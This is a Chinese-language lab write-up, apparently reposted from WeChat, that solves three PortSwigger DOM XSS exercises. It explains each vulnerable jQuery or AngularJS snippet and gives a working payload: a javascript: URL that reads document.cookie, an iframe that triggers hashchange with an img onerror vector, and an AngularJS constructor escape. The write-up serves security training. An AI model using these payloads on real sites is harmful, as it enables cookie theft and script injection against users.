(Lab 5)使用源的jQuery 锚点属性接收器中的DOM XSShreflocation.search(href标签内xss payload)
(Lab 6)使用 hashchange 事件的 jQuery 选择器接收器中的DOM XSS(href标签内xss payload)
(Lab 11)AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码(AngularJS ng-app内的xss payload)
靶场地址:https://portswigger.net/web-security
实验5:使用源的jQuery 锚点属性接收器中的DOM XSShreflocation.search
1.构造payload进行弹窗
javascript:alert(document.cookie)
(js代码解析如下:
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
这段代码是为了使 #backLink 元素链接到当前页面的 'returnUrl' 查询参数所指定的URL。如果 'returnUrl' 查询参数不存在,那么 #backLink 的 href 属性可能会被设置为当前页面的URL
)
输入payload 11111111时:
=>
输入payload javascript:alert(11111)时弹窗:
实验6:使用 hashchange 事件的 jQuery 选择器接收器中的DOM XSS
1.构造iframe标签payload进行,使用jQuery的$()选择器函数自动滚动到给定的帖子,其标题通过location.hash属性传递。
<iframe src="https://0ad000b803074fb580fb6292009800af.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
(js代码解析如下:
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
这行代码它会在 hashchange 事件发生时(也就是当 URL 中的哈希值发生改变时),寻找并滚动到与新哈希值匹配的元素。
)
需要找到一种方法来触发hashchange没有用户交互的事件。最简单的方法之一是通过iframe。再通过jQuery的$()选择器函数用于将恶意对象注入DOM,src属性指向哈希值为空的易受攻击的页面。当 iframe 被加载时,一个XSS向量被附加到散列中,从而触发hashchange事件。故输入payload <iframe src="https://0ad000b803074fb580fb6292009800af.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>时,:
实验11:AngularJS 表达式中的 DOM XSS,带有尖括号和双引号 HTML 编码
1.AngularJS是一个流行的JavaScript库,它扫描包含ng-app属性(也称为AngularJS指令)的HTML节点的内容。将指令添加到HTML代码中后,可以在双大括号内执行JavaScript表达式。在这个实验中随机字符串包含在ng-app指令中,故可构造payload:
{{$on.constructor('alert(1)')()}}进行弹窗。
原文始发于微信公众号(鲲哥的Bypass之旅):portswigger靶场-Lab5、6、11
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论